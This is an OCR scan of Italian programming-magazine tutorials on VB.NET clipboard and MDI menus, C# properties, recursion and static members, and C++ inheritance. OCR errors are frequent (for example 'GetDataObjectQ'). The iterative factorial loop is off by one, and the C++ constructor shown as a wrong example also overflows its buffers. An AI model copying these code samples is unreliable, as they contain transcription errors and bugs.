La Clipboard (appunti di sistema) è lo strumen- 
to usato comunemente in ambiente Windows 
per copiare, tagliare e incollare qualsiasi cosa 
dal testo alle immagini, dai suoni ai colori. La 
Clipboard si può considerare il più vecchio 
strumento di comunicazione tra gli oggetti che 
affollano i nostri computer, nonostante tutto è 
stata, e resta un indispensabile strumento Win- 
dows. 

L'oggetto ClipBoard dispone di due metodi che 
consentono il trasferimento di dati, da e verso 
gli appunti: 

• SetDataObject. Il metodo SetDataObject 
permette di copiare delle informazioni negli 
Appunti, la sintassi è la seguente: 

Clipboard. SetDataObject(Dati As Object, [Copia] 

As Boolean) 

In cui: 



L'argomento opzionale Copia, se posto a 
True, consente di rendere persistenti i dati 
copiati nella Clipboard, vale a dire renderli 
disponibili anche alla chiusura dell'applica- 



• GetDataObject. Il metodo GetDataObject 
permette di recuperare le informazioni con- 
tenute negli Appunti restituendo un oggetto 
di tipo oggetto IDataObject 

Per copiare delle informazioni negli Appunti è 
sufficiente invocare il metodo Clipboard. SetDa- 
taObject passandogli l'informazione in un qual- 
siasi formato supportato dall'oggetto Clipboard 
(testo, Bitmap, Html e molti altri descritti nel 
box a lato), ognuno dei quali identificato da 
una costante di tipo stringa esposta dalla classe 
DataFormats. Per esempio possiamo scrivere 
una procedura generica che copi nella ClipBoard 
il testo selezionato in un generico controllo 
TextBox, e che lo renda disponibile ad altre ap- 
plicazioni. 

Private Sub CopiaTestoSelezionato(ByVal tBox As 

TextBox) 

'SelectedText indica il testo attualmente 

'selezionato nel controllo 

Clipboard.SetDataObject(tBox.SelectedText, True) 

End Sub 

II primo argomento passato al metodo SetData 
Object può essere un qualsiasi tipo di stringa, 
inclusa una stringa definita dall'utente dotata 
di un formato personalizzato. Il secondo argo- 
mento rende persistente la stringa appena 
copiata. 

La proprietà SelectedText di un controllo Text- 
Box, restituisce il testo selezionato dall'utente 
all'interno del controllo. Una procedura per 
incollare i dati dagli appunti richiede la scrittu- 
ra di più codice rispetto a quello dell'esempio 
precedente. Si deve dichiarare un oggetto di 
tipo IDataObject cui assegnare il valore estratto 
dal metodo Clipboard. GetDataObject e quindi 
utilizzare il metodo GetData per estrarre il va- 
lore vero e proprio contenuto nella ClipBoard: 

Private Sub IncollaTestoSelezionato(ByVal tBox As 

TextBox) 

'dichiarazione dell'oggetto di tipo IDataObject 

Dim dati As IDataObject 

dati = Clipboard.GetDataObjectQ 

tBox. SelectedText = dati.GetData( 

DataFormats.Text, True) 

End Sub 



L'argomento Dati contiene le informazioni 
da copiare nella Clipboard 



Vediamo come applicare questi concetti per la 
realizzazione del menu Modifica. 
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IL MENU MODIFICA (EDIT) 

Il menu Modifica contiene, di norma, i comandi 
per tagliare, copiare ed incollare le informazioni 
selezionate. Potrebbe anche fornire altre opzioni 
di modifica come: Incolla Speciale e Seleziona Tutto 
che non esamineremo. Cliccando su un sottome- 
nu del menu Modifica viene generato un evento 
Click per il sottomenu corrispondente. 




Fig. 3: Esempio di Editor. 



Per la procedura di copia si dovrà copiare il te- 
sto, utilizzando il metodo SetDataObject, dal 
controllo attivo, negli appunti. Per compiere 
questa operazione si deve poter accedere alla 
proprietà Text del controllo attivo sulla finestra, 
allo scopo si possono utilizzare due proprietà 
della form: 

• ActiveMdiChild restituisce la finestra figlio 
MDI attiva permettendo di accedere alle sue 
proprietà ed ai suoi metodi. 

Se non è presente nessuna finestra figlio 
restituisce Nothing; 

• ActiveControl permette di accedere alle 
proprietà e ai metodi del controllo attivo. 

Mettendo a frutto quanto detto finora possiamo 
implementare il primo menu: 

Private Sub MnuModificaCopia_Click(ByVal sender As 

Sy sterri. Object, ByVal e As System. EventArgs) 

Handles MnuModificaCopia.Click 

Clipboard.SetDataObject(ActiveMdiChild.ActiveControl.Text) 
End Sub 

La procedura di taglia è essenzialmente uguale 
alla procedura di copia, con la sola differenza 
che si deve cancellare il testo selezionato, per 
questo è sufficiente porre uguale alla stringa 
vuota il testo del controllo attivo. 

Private Sub MnuModificaTaglia_Click(ByVal sender 

As System. Object, ByVal e As System. EventArgs) 
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Handles MnuModificaTaglia.Click 

Clipboard.SetDataObject( 

ActiveMdiChild. ActiveControl .Text) 

ActiveMdiChild.ActiveControl.Text = "" 

End Sub 

La procedura Incolla deve prelevare il testo 
dagli appunti, tramite il metodo GetDataObject 
e l'oggetto IDataObject, e copiarlo nel controllo 
accedendo ancora una volta alla proprietà Text 
del controllo attivo tramite la proprietà Active- 
Control della form figlio attiva: 

Private Sub MnuModificaIncolla_Click(ByVal sender 

As System. Object, ByVal e As System. EventArgs) 

Handles MnuModificalncolla.Click 

Dim dati As IDataObject 

dati = Clipboard.GetDataObjectQ 

ActiveMdiChild. ActiveControl. Text = 

dati.GetData(DataFormats.Text, True) 

End Sub 



GESTIRE UN MENU 
FINESTRA (WINDOW) 

Per un'applicazione MDI riveste notevole 
importanza la gestione delle finestre. L'utente 
deve facilmente poter attivare e riposizionare 
automaticamente tutte le finestre aperte, affian- 
cate tra loro in verticale od in orizzontale oppu- 
re posizionandole in cascata una dietro l'altra. 
Il menu Finestra (Window) dovrà contenere 
quattro voci: 

• Sovrapponi; 

• Affianca Orizzontalmente; 

• Affianca Verticalmente; 

• Disponi Icone. 

Per ottenere l'effetto voluto è sufficiente chia- 
mare il metodo LayoutMdi della MdiForm che 
consente di mettere in ordine le finestre figlie. 
Nell'evento Click degli oggetti Menultem è suffi- 
ciente scrivere soltanto una riga di codice: 

Private Sub mnuFinestreSovrapponi_Click(ByVal sender 
As System. Object, ByVal e As System. EventArgs) 

Handles mnuFinestreSovrapponi .Click 

Me.LayoutMdi(MdiLayout.Cascade) 

End Sub 

Private Sub mnuFinestreVerticali_Click(ByVal sender As 
System. Object, ByVal e As System. EventArgs) 

Handles mnu Finestre Verticali .Click 

Me.LayoutMdi(MdiLayout.TileVertical) 

End Sub 

Private Sub mnuFinestreOrizzontali_Click(ByVal sender 
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Formati di 
Dataformats 

• BITMAP, Indica 
un formato di bit- 



Ó 



map Windows. 

• COMMASEPARATED- 
VALUE, Indica un for- 
mato con valori sepa- 
rati da virgola (CSV), 
ovvero un formato di 
interscambio comune 
utilizzato dai fogli di 
calcolo e da molte al- 
tre applicazioni. 

• DIB, Indica il forma- 
to DIB (Device Inde- 
pendent Bitmap, bit- 
map indipendente dal- 
la periferica) di Win- 
dows. 

• DIF, Indica il forma- 
to DIF (Data Inter- 
change Format, for- 
mato di interscambio 
dati) di Windows. 

• EIMHANCEDMETAFI- 
LE, Indica il formato 
metafile avanzato di 
Windows. 

• FILEDROP, Indica il 
formato di trascina- 
mento dei file di Win- 
dows. 

• LOCALE, Indica il 
formato delle impo- 
stazioni internaziona- 
li di Windows. 

• OEMTEXT, Indica il 
formato di testo stan- 
dard OEM (Originai 
Equipment Manufac- 
turer) di Windows. 
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Formati di 
Dataformats 

• PALETTE Indi- 
ca il formato ta- 



Ó 



volozza di Windows. 

• RTF Indica il testo 
costituito di dati RTF 
(Rich Text Format). 

• SERIALIZABLE Indi- 
ca un formato che in- 
capsula ogni tipo di 
oggetto Windows Form 

• STRINGFORMAT In- 
dica il formato della 
classe string di Win- 
dows Form, utilizzato 
per memorizzare gli 
oggetti string. 

• TEXT Indica il for- 
mato di testo ANSI 
standard. 

• TIFF Indica il for- 
mato TIFF (Tagged 
Image File Format). 

• UNICODETEXT Indi- 
ca il formato di testo 
Unicode standard di 
Windows. 

• WAVEAUDIO Indica 
il formato audio wa- 
ve. 



As System.Object, ByVal e As System. EventArgs) 

Handles mnuFinestreDisponilcone.Click 

Me.LayoutMdi(MdiLayout.TileHorizontal) 

End Sub 

Private Sub mnuFinestreDisponiIcone_Click(ByVal sender 

As System.Object, ByVal e As System. EventArgs) 

Handles mnuFinestreDisponilcone.Click 

Me.LayoutMdi(MdiLayout.Arrangelcons) 

End Sub 

Il menu finestra deve, inoltre, includere l'elen- 
co di tutti i form MDI figli aperti permettendo 
all'utente di attivarli cliccando con il mouse 
sulla voce corrispondente. 

Questa funzionalità è semplice da simulare, 
ponendo a True la proprietà MDIList del menu 
Finestra. In tal modo il menu Finestra manterrà 
un elenco di finestre figlio MDI aperte, con un 
segno di spunta accanto alla finestra figlio atti- 
va. 

LA CLASSE HELP 

E L'OGGETTO APPLICATION 

La classe Help può essere utilizzata per visua- 
lizzare file in formato Guida compilata (CHM) o 
file HTML nel formato della Guida HTML. I file 
in formato CHM si possono produrre con stru- 
menti di terze parti e forniscono sommario, in- 
dice, funzionalità di ricerca e collegamenti alle 
parole chiave all'interno delle finestre, così 
come possono essere forniti da un file in forma- 
to Guida HTML. 
La classe Help espone due metodi: 

• ShowHelp. Il metodo ShowHelp consente di 
visualizzare il contenuto di un file della 
Guida specificato come argomento. 

• ShowHelpIndex. Il metodo ShowHelpIndex 
consente di visualizzare l'indice del file 
della Guida specificato. 

L'oggetto Application espone alcune proprietà 
per ottenere informazioni su un'applicazione, e 
metodi ed eventi per la gestione di un'applica- 
zione, ad esempio metodi per l'avvio e l'arresto 
di un'applicazione o per l'elaborazione di mes- 
saggi Windows, ma in questo appuntamento ci 
soffermeremo soltanto alle proprietà necessarie 
al nostro scopo. 
In particolare useremo le proprietà: 

• ProductName, che restituisce il nome del- 
l'applicazione; 

• ProductVersion, che restituisce il numero di 
versione dell'applicazione; 
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CompanyName, che restituisce il nome 
della società. 



IL MENU HELP 

Tipicamente il menu help contiene i sottomenu 
che consentono di mostrare il file della guida 
ed una finestra con le informazioni peculiari 
dell'applicazione. Nell'evento Click del menu 
MnuHelpGuidaln Linea è sufficiente scrivere una 
riga di codice in cui si utilizza il metodo Show- 
Help della classe Help, passando come argo- 
mento il percorso completo del file di guida: 

Private Sub MnuHelpGuidaInl_inea_Click(ByVal sender As 
System.Object, ByVal e As System. EventArgs) 

Handles MnuHelpGuidalnLinea .Click 

Help.ShowHelp(Me, "c:\MioHelp.htm") 

End Sub 

Per implementare il sottomenu Informazioni su, 
è necessario inserire una nuova form nel pro- 
getto. La nuova form, che chiameremo frmlnfor- 
mazioniSu, dovrà contenere almeno tre controlli 
Label in cui mostreremo le informazioni sulla 
nostra applicazione. Per mostrare la form 
dovremo scrivere il codice seguente nell'evento 
Click del menu MnuInfoSu: 

Private Sub MnuInfoSu_Click(ByVal sender As 

System.Object, ByVal e As System. EventArgs) 

Handles MnuInfoSu.Click 

Dim frm As New frmlnformazioniSuQ 

'si fa puntare la form figlia alla form padre da cui 

viene mostrata 

frm.MdiParent = Me 

frm.ShowQ 

End Sub 

E per mostrare le informazioni sull'applicazio- 
ne scriveremo tutto il codice necessario nell'e- 
vento Load della form: 

Private Sub frmInformazioniSu_l_oad(ByVal sender As 

System.Object, ByVal e As System. EventArgs) 

Handles MyBase.Load 

LabelSocieta.TextQ = Application.CompanyName 

LabelNome.TextQ = Application. ProductName 

LabelVersione.TextQ = Application.ProductVersion 

End Sub 

Gli ultimi due menu standard, Il menu File ed il 
menu Visualizza, saranno implementati in un 
prossimo appuntamento dopo aver introdotto i 
controlli finestre di dialogo, necessari per imple- 
mentare il menu File, ed i controlli ToolBox e Sta- 
tusBar utilizzati nel menu Visualizza. 

Ing. Luigi Buono 
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Proprietà 

E METODI, IL VIAGGIO CONTINUA. 



si*"' ., 



Continua lo studio della programmazione orientata 
agli oggetti con C#. Dopo aver appreso come utilizzare 
costruttori e distruttori, viene il momento di approfondire 
le tematiche legate all'impiego delle proprietà 
e dei metodi. 



Dopo aver esaminato alcuni concetti introdutti- 
vi legati alle classi e alla programmazione 
orientata agli oggetti, scendiamo più nel det- 
taglio delle proprietà, dei metodi e dei costruttori. 
Questa lezione mette l'accento su alcune importanti 
caratteristiche di C#: l'inizializzazione in linea delle 
proprietà, la ricorsione, il sovraccarico di metodi e co- 
struttori e, per finire, l'impiego dei membri statici. 

INIZIALIZZAZIONE IN 
LINEA DELLE PROPRIETÀ 

Come rimarcato nel corso della lezione precedente, 
esistono due maniere per inizializzare le proprietà 
contenute in una classe: 



1. 



2. 



Mediante l'inizializzazione automatica, che attri- 
buisce ad ogni proprietà un valore di default di- 
pendente dal tipo. 

Inizializzando manualmente ogni singola pro- 
prietà dall'interno dei costruttori della classe. 



Esiste poi una terza tecnica, spesso conveniente, detta 
inizializzazione in linea. Si osservi il codice che segue: 



class Rettangolo { 

public int larghezza = 150; public int altezza 



100;} 



Le due proprietà larghezza e altezza, in questo modo, 
vengono sempre inizializzate secondo i valori specifi- 
cati in linea, ogni volta che viene istanziato un oggetto 
di tipo Rettangolo. Le inizializzazioni in linea sono va- 
lutate indipendentemente dai costruttori: la presenza 
di uno o più costruttori non influisce sui valori attri- 
buiti in linea, che restano sempre e comunque validi. 
Tuttavia, un costruttore può sovrascrivere il valore as- 
segnato mediante una inizializzazione in linea. Questo 
è reso possibile dal fatto che le inizializzazioni in linea 
vengono sempre eseguite prima del costruttore: 



class Rettangolo { 


public 


int larghezza = 150 




public 


int altezza = 100; 




public 


Rettangolo() {} 




public 


Rettangolo(int 1, int 


a){ 


largh 


ìezza = 1; altezza = 


a; }} 



File sul CD 



Richiamando il costruttore privo di argomenti, si ottie- 
ne un rettangolo di dimensioni standard, secondo i 
dettami delle inizializzazioni in linea. Al contrario, ser- 
vendosi del secondo costruttore disponibile, è possibi- 
le specificare nuovi valori che sovrascriverranno quel- 
li predefiniti: 

// Rettangolo 150 x 100 

Rettangolo ri = new RettangoloQ; 

// Rettangolo personalizzato 

Rettangolo r2 = new Rettangolo(300, 200); 

Le inizializzazioni in linea possono essere eseguite con 
ogni tipo di proprietà. 



RICORSIONE 

C# supporta le tecniche ricorsive. Un metodo si dice 
ricorsivo quando, in determinate condizioni, richiama 
se stesso. Il più classico esempio della ricorsione è il 
calcolo del fattoriale: 

lì (si legge "uno fattoriale") = 1 
2! = 2*1=2 
31 = 3*2*1 = 6 
41 = 4*3*2*1=24 

n! = n*(n-l)*(n-2)*...*l 

Per convenzione, è stabilito che: 01 = 1 
Il seguente metodo, che può essere incluso in una clas- 
se qualsiasi, esegue il calcolo in maniera iterativa, me- 



\soft\codice\csharpl0.zip 



Sul Web 



Tra le dispense Web del 
corso troverete appun- 
ti, aggiunte, approfon- 
dimenti, risposte a do- 
mande frequenti e altre 
appendici legate alla le- 
zione odierna. L'indiriz- 
zo di riferimento è 

http://www.sauronsoftware 
■ it/dispenseweb/csharp/. 
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diante un ciclo for, senza servirsi della ricorsione: 

public int fattoria letterati vo(int n) { 

int risultato = 1; 

for (int i = 1; i < n; i++) 

risultato *= i; 

return risultato; } 

Nel calcolo del fattoriale, tuttavia, è possibile scorgere 
una proprietà ricorsiva: 

lì = 1 

1! = 2*1! 
3! = 3*2! 

n! = n*(n- 1)! 

L'aver scorto tale proprietà consente di realizzare il se- 
guente metodo, basato sulla ricorsione: 



public int fattorialeRicorsivo(int n) { 


if (n == 0) return 1; 


else return n * fattorialeRicorsivo(n 


■ i); > 



Le tecniche ricorsive, benché talvolta dispendiose di 
risorse, sono spesso più eleganti, più ordinate e più fa- 
cili da concepire, una volta entrati nell'ottica di questa 
metodologia. 

SOVRACCARICO 
DEI METODI 

C# consente il sovraccarico dei metodi. Un metodo si 
dice sovraccarico quando ne esistono più versioni che 
differiscono tra loro almeno in uno degli argomenti ac- 
cettati. In sostanza, è possibile creare più metodi con lo 
stesso nome, purché restituiscano sempre il medesimo 
tipo e differiscano nella lista dei parametri. Il seguente 
esempio dimostra la caratteristica: 




La classe TestSovraccarico contiene il metodo Maini). 
Pertanto, dopo la compilazione, può essere avviata e 
sperimentata. L'output prodotto è mostrato di seguito: 

Senza argomenti 

Con un argomento int: 5 

Con un argomento doublé: 2,3 

Con due argomenti int e doublé: 1,1,56 

Con due argomenti string e bool: ciao, True 

Come è possibile osservare, sono state implementate 
cinque differenti versioni del metodo testi). Nel mo- 
mento in cui il metodo viene richiamato, il CLR decre- 
ta automaticamente quale versione attivare, in base al 
numero e al tipo degli argomenti specificati in linea. 



...E DEI COSTRUTTORI 

I costruttori, proprio come i metodi, possono essere so- 
vraccaricati. Vi è comunque un'importante precisazio- 
ne che è d'uopo riportare: un costruttore può ricorrere 
ad un altro costruttore della medesima classe: 



class Triangolo { 


public int latol; 


public int lato2; 


public int lato3; 


public Triangolo(int 


a){ 






latol = a;} 


public Triangolo(int 


a, int b) { 






latol = a; 


lato2 = b;} 


public Triangolo(int 


a, int b, int 


c){ 


latol = a; 


lato2 = b; 


lato3 = e; » 



La classe Triangolo contiene ben tre costruttori. 
Il primo permette di impostare solamente le dimen- 
sioni di un lato, il secondo ne imposta due, mentre il 
terzo può impostare tutti e tre i lati. In realtà, il secon- 
do costruttore contiene implicitamente anche il primo, 
giacché l'operazione latol = a; viene svolta in ambo i 
casi. Il terzo, addirittura, ingloba tutto il codice degli 
altri due costruttori: 

latol = a; latol = b; 

In casi come questo, dove un costruttore esegue come 
prima cosa le operazioni che possono svolgere altri co- 
struttori di dimensioni ridotte, è possibile avvantag- 
giarsi di un secondo uso della parola chiave this. La 
classe appena vista è equivalente a: 
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lato2 = b; } 


public Triangolo(int a, 


int b, int e) : this(a, b) { 


lato3 = e; } } 



Quando si richiama il primo costruttore, tutto avviene 
secondo la norma: 

Triangolo ti = new Triangolo(5); 

Alla proprietà latol, quindi, sarà normalmente asse- 
gnato il valore 5. Quando si impiega il secondo co- 
struttore, che accetta due argomenti, si impostano le 
dimensioni di due lati del triangolo. L'assegnazione 
del valore di a alla proprietà latol, ad ogni modo, non 
viene svolta all'interno del secondo costruttore. Per l'i- 
nizializzazione di latol, ci si appella al primo costrut- 
tore disponibile, tramite la chiamata: 

: this(a) 

Il concetto è ancora più evidente quando si passa all'a- 
nalisi del terzo costruttore. In questo caso, per l'inizia- 
lizzazione dei primi due lati, ci si appella al secondo 
costruttore della serie: 

: this(a, b) 

Il costruttore a due argomenti, a sua volta, si appella al 
costruttore con un solo argomento. La convenienza di 
queste invocazioni a catena, in un esempio così spic- 
ciolo, non è troppo evidente. I migliori vantaggi sono 
ottenibili lavorando con costruttori complessi e ricchi 
di codice. 



MEMBRI STATICI 

Ragionare completamente per oggetti può, in certi ca- 
si, essere limitativo. In alcune occasioni, ad esempio, è 
conveniente fare in modo che alcune proprietà o alcu- 
ni metodi possano essere impiegati indipendentemen- 
te da un oggetto istanziato. Si supponga, per riaggan- 
ciarsi ad uno degli esempi precedenti, di avere la ne- 
cessità di un metodo per il calcolo del fattoriale, da im- 
piegare in più classi simultaneamente. Esistono tre so- 
luzioni per questo problema. La prima consiste nel co- 
piare il codice del metodo all'interno di ciascuna delle 
classi che ne deve fare uso. Questa è la peggiore solu- 
zione del lotto, giacché completamente in antitesi con 
le norme della buona progettazione. 
La seconda soluzione consiste nel realizzare una clas- 
se che incapsuli tale metodo: 



class ClasseFattoriale { 


public int fattoriale(int n) { 


if (n == 0) return 1; 


else return n * fattoriale(n 


- 1);» 



sario istanziare un oggetto di tipo ClasseFattoriale, con 
conseguente spreco di tempo e risorse: 

ClasseFattoriale mioFattoriale = new ClasseFattorialeQ; 
int risultato = mioFattoriale. fattoriale(5); 

Per risolvere il problema nel migliore dei modi, con- 
viene impiegare una terza soluzione, basata su una 
classe contenente un metodo statico: 



class ClasseFattoriale { 


public 


static int fattoriale(int 


n){ 


if (n 


= = 0) return 1; 




else 


return n * fattoriale(n 


- 1);» 



La soluzione è buona, ma nasconde una inefficienza: 
ogni volta che si deve calcolare un fattoriale, è neces- 



Un metodo statico può essere invocato senza istanzia- 
re alcun oggetto, grazie al fatto che può funzionare in- 
dipendentemente da esso. D'ora in avanti sarà possi- 
bile attivare il metodo realizzato scrivendo semplice- 
mente: 

int risultato = ClasseFattoriale. fattoriale(5); 

Anziché usare un oggetto istanziato, si è fatto ricorso 
ad una forma del tipo: 

NomeClasse.nomeMetodoStatico(argomenti) 

Grazie a questa tecnica, è possibile realizzare delle col- 
lezioni di metodi svincolati da qualsiasi oggetto. Le 
classi che li contengono, semplicemente, lavorano da 
raccoglitore. Ad ogni modo, una classe può avere, allo 
stesso tempo, sia metodi statici sia metodi non statici. 
La parola chiave static può essere applicata anche alle 
proprietà: 

class RaccoltaCostantiMatematiche { 

//■■■ 

public static doublé PI_GRECO = 3.14; 

//■■■ 

} 

E' possibile accedere alla proprietà statica sopra pre- 
sentata digitando: 

RaccoltaCostantiMatematiche.PI GRECO 



CONCLUSIONI 

Un altro passo nel mondo della programmazione 
orientata agli oggetti con C# è stato fatto. La nostra de- 
stinazione, ad ogni modo, non è ancora in vista. Molti 
sono i concetti legati alla programmazione moderna. 
L'importante è sviscerarli con ordine e coerenza, fa- 
cendo in modo che possano essere gradualmente assi- 
milati. Le prossime lezioni, quindi, continueranno at- 
traverso il percorso intrapreso. 

Carlo Pelliccia 




Attenzione 

\JK\ Un'importante 
r-J\ avvertenza: al- 
l'interno del corpo di 
un metodo statico non 
è possibile usare la pa- 
rola chiave this, poi- 
ché non esiste alcun 
oggetto di invocazione 
cui far riferimento. Al- 
lo stesso modo, non è 
possibile accedere ai 
membri non statici 
della classe. 
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Corsi 



Base 



**\ Ereditarietà 






LO ZIO D'AMERICA 



Con l'ereditarietà, cominciamo a vedere una delle 
caratteristiche avanzate della programmazione a oggetti, 
che il C++ supporta in maniera nativa e che ha 
rappresentato, la vera rivoluzione dei cosiddetti linguaggi 
di terza generazione. 



File sul CD 

\soft\codice\codici_ 
Iez8_cpp.zip 



a: 



Relazioni 
tra oggetti 

1 Tra gli oggetti 
| distinguiamo a 
livello teorico 3 tipi 
di relazioni (tra pa- 
rentesi i nomi che 
spesso vengono usati 
in letteratura infor- 
matica): 

• UTILIZZO (usa): un 
oggetto A usa un 
oggetto B quando per 
funzionare sfrutta un 
servizio fornito da B; 

• CONTENIMENTO 
(has-a): un oggetto 
A contiene (has-a) 
un oggetto B quando 
tra le proprietà di A 
esiste proprio un 
oggetto di tipo B; A 
può anche contenere 
più oggetti (has- 
many) di tipo B; 

• EREDITARIETÀ: un 
oggetto A è derivato 
da un oggetto B 
quando è anche (is- 
a) un oggetto di tipo 
B. 



LW ereditarietà è un meccanismo fonda- 
mentale per la programmazione Object 
Oriented ed è esplicitamente supporta- 
to dal C++. Mediante l'ereditarietà è possibile, 
sostanzialmente, estendere le caratteristiche di 
una classe, avendo la possibilità quindi di istan- 
ziare nuovi oggetti, che hanno tutte le caratteri- 
stiche degli oggetti della classe che stiamo esten- 
dendo (detta classe base), più altre caratteristi- 
che particolari della nuova classe (detta classe 
derivata). 

Queste caratteristiche aggiuntive possono esse- 
re sia nuovi campi, sia nuovi metodi, sia over- 
load di metodi già esistenti e così via. 
L'azione di creare una classe derivata che sfrutti 
l'ereditarietà mediante una classe base è detta 
derivazione. È meglio chiarirci subito le idee tra- 
mite un esempio riguardante la nostra classe 
Scheda. 

Come già sappiamo dalle precedenti lezioni, 
Scheda permette di gestire due informazioni: un 
nome e un numero di telefono. 
Supponiamo di avere bisogno di gestire una ul- 
teriore informazione, ad esempio l'indirizzo di 
posta elettronica. Per quanto visto sinora, l'uni- 
ca possibilità che abbiamo è quella di creare ex 
novo un'altra classe, chiamata ad esempio Sche- 
daAvanzata, fare copia&incolla del codice di 
Scheda e aggiungere i campi e i metodi per la ge- 
stione dell'indirizzo e-mail. È possibile farlo, ma 
questo approccio porta a una serie di svantaggi, 
tra cui: 

1. ridondanza del codice: facendo copia&incol- 
la, in pratica si duplicano le stesse funzioni 
che già avevamo, con il conseguente raddop- 
pio delle dimensioni del programma, rad- 
doppio del tempo di compilazione, etc. (per 
programmi di dimensioni medio-grandi 
questi possono essere dei seri problemi). 



2. le classi Scheda e Scheda Avanzata saranno 
considerate dal compilatore come due classi 
distinte a tutti gli effetti, senza alcuna rela- 
zione tra loro; questo può essere un proble- 
ma in quanto, se dovessimo accorgerci che 
Scheda ha un errore, dovremmo ricordarci di 
correggere lo stesso errore anche su SchedaA- 
vanzata e su tutte le altre eventuali classi ba- 
sate su Scheda. Stesso discorso vale per even- 
tuali ottimizzazioni o modifiche in genere. 

Sfruttando l'ereditarietà è invece possibile con- 
siderare Scheda Avanzata come una classe deriva- 
ta da Scheda. Questo permette di chiarire la si- 
tuazione sia al compilatore che a un eventuale 
persona che legga il nostro codice (questa perso- 
na potremmo essere noi tra un anno...), dichia- 
rando esplicitamente che esiste un forte legame 
tra Scheda e Scheda Avanzata, il che è proprio 
quello che noi abbiamo in mente pensando al ti- 
po astratto "scheda " . 
La dichiarazione di Scheda Avanzata potrebbe es- 



class SchedaAvanzata : public Scheda 

{ 

public: 

void ImpostaEmail(char*); 

char* GetEmailQ; 

private: 

char* email; 

}; 

l'indicazione della classe base si inserisce scri- 
vendo ": public" seguito dal nome della classe 
base, dopo la dichiarazione del nome della clas- 
se derivata. Vedremo in seguito il significato 
della parola chiave "public" in questo contesto. 
La dichiarazione di SchedaAvanzata procede poi 
come normalmente ci aspetteremmo, dichiaran- 
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do come public i metodi per l'accesso al nuovo 
campo e come private il campo email stesso, nel 
pieno rispetto dei principi dell Information hiding 
(che tutti ricordiamo, giusto? Ora che sappiamo, 
in maniera basilare, come definire una classe de- 
rivata, data una classe base, è bene che imparia- 
mo i tre principi fondamentali che regolano il 
comportamento di una classe derivata. 
Queste regole preziose sono: 

1. Tutte le proprietà definite per la classe base 
vengono implicitamente definite anche nella 
classe derivata, cioè vengono ereditate da 
quest'ultima. 

2. La classe derivata può avere ulteriori pro- 
prietà oltre quelle ereditate. 

3. Nel caso di derivazione pubblica (": public 
NomeClasseBase"), ogni oggetto della classe 
derivata è anche un oggetto della classe base, 
e può essere usato in ogni situazione in cui si 
usa un oggetto della classe base. In altre pa- 
role l'oggetto derivato è compatibile con l'og- 
getto base. 

Le regole 1. e 2. sono un riassunto di quanto det- 
to sinora, esse esprimono il concetto stesso di 
ereditarietà (regola 1.) e la caratteristica di esten- 
dibilità delle classi mediante ereditarietà (regola 
2.). 

La regola 3. è molto importante, ci dice che il 
compilatore considererà un oggetto derivato 
esattamente come se fosse un oggetto base nel 
caso in cui si aspetta di trovare quest'ultimo. 
Tornando al nostro esempio, supponiamo di 
avere una classe Schedario che funzioni da conte- 
nitore di schede; supponiamo che tale classe sia 
già stata testata e funzioni alla perfezione con 
oggetti di tipo Scheda: la cosa bella dell'eredita- 
rietà è che Schedario funzionerà alla perfezione 
anche con oggetti di tipo Scheda Avanzateli E tutto 
ciò senza toccare una riga del codice già scritto e 
testato. Possiamo infatti scrivere: 



Schedano schedario(); 


Scheda sl("Homer J. Simpson' 


,"555 


■123456"); 


SchedaAvanzata s2("Bart Simpson"/' 


555-123456"); 


schedano. AggiungiScheda(sl); 


//uso 


normale 


schedario. AggiungiScheda(s2); 


//OK! s2 è *anche* 

un oggetto di tipo Scheda 



Si noti però che la compatibilità di cui si è parla- 
to prima non funziona al contrario, non è possi- 
bile cioè usare un oggetto di tipo Scheda laddove 
è esplicitamente richiesto che si inserisca un og- 
getto di tipo SchedaAvanzata. È sbagliato quindi 
scrivere: 



void f (SchedaAvanzata); 


//... definizione di f()... 


Scheda s3(' 


Lisa Simpson" 


"555 


-123456"); 


f(s3); //NO! 


s3 *non* è di 


tipo 


SchedaAvanzata 



Il motivo di questa mancanza di compatibilità 
"all'indietro" è anche molto semplice da capire: 
cosa succederebbe se ad esempio in f() ci fosse 
l'invocazione del metodo ImpostaEmailO della 
classe SchedaAvanzata? s3 è di tipo Scheda e non 
prevede questo metodo, pertanto ci sarebbe una 
incongruenza. 

In realtà il problema sarebbe ancora più grave, 
in quanto potremmo pensare di derivare TUTTE 
le classi che scriviamo, da un unica classe prin- 
cipale (ad es. chiamiamola ClasseBase) e così fa- 
cendo utilizzare un oggetto di un qualsiasi tipo 
al posto di un QUALSIASI ALTRO oggetto (de- 
rivano tutti da ClasseBase...), rendendo pratica- 
mente inutile il meccanismo che prevede di di- 
chiarare nell'intestazione delle funzione il tipo 
di argomento usato. 
Fortunatamente la realtà non è questa. 

TUTTO SI CREA, 
TUTTO SI DISTRUGGE 

Tornando all'esempio precedente, possiamo ve- 
dere come anche il costruttore della classe base 
sia utilizzabile per istanziare oggetti della classe 
derivata (Scheda si e SchedaAvanzata s2). È ov- 
viamente possibile definire dei nuovi costrutto- 
ri, appositamente per gli oggetti di tipo Sche- 
daAvanzata. Nel nostro caso ci farebbe comodo 
avere un costruttore che prendesse come input 
un terzo argomento di tipo char* contenente l'in- 
dirizzo email. Questo infatti ci esonera dal do- 
vere chiamare ogni volta esplicitamente il meto- 
do ImpostaEmailO. Il modo migliore per scrivere 
qualcosa di completamente sbagliato è questo: 



SchedaAvanzata: :SchedaAvanzata(char* nom 

tei, 


, char* 
char* eml) 


{ 


nome = new char(strlen(nom)); 


//?? 


strcpy(nome,nom); 


//?? 


telefono = new char(strlen(tel)); 


//?? 


strcpy(telefono,tel); 


//?? 


email = new char(strlen(eml)); 


strcpy(email,eml); 


} 



Perché questo codice non va bene? Non va bene 
perché nome e telefono sono campi privati della 
classe Schedai Nonostante SchedaAvanzata sia 
una classe derivata, essa non ha accesso ai cam- 
pi privati della sua classe base: deve utilizzare 
per accedervi i metodi di interfaccia che utiliz- 
zano tutti gli altri oggetti. 




Classi base 

astratte 

CInterfacce) 



~7&~\ Una classe può 
-J essere usata an- 
che solo per derivare 
da essa altre classi, 
senza definire oggetti 
di quella classe. Le 
funzioni membro 
(metodi) di classi sif- 
fatte non verranno 
mai invocate perché 
non ci saranno mai 
oggetti esattamente 
di quella classe, ma 
verranno sempre ri- 
definite nelle classi 
derivate. In questa 
situazione, queste 
funzioni non necessi- 
tano di dichiarazione 
(basta la definizio- 
ne): l'implementazio- 
ne effettiva sarà 
esplicitata nelle classi 
derivate secondo le 
necessità. 

L'utilità di classi di 
questo tipo è quella 
di obbligare chi le usa 
per derivare altre 
classi ad implementa- 
re per forza determi- 
nati metodi (quelli 
che non sono stati 
definiti nella classe 
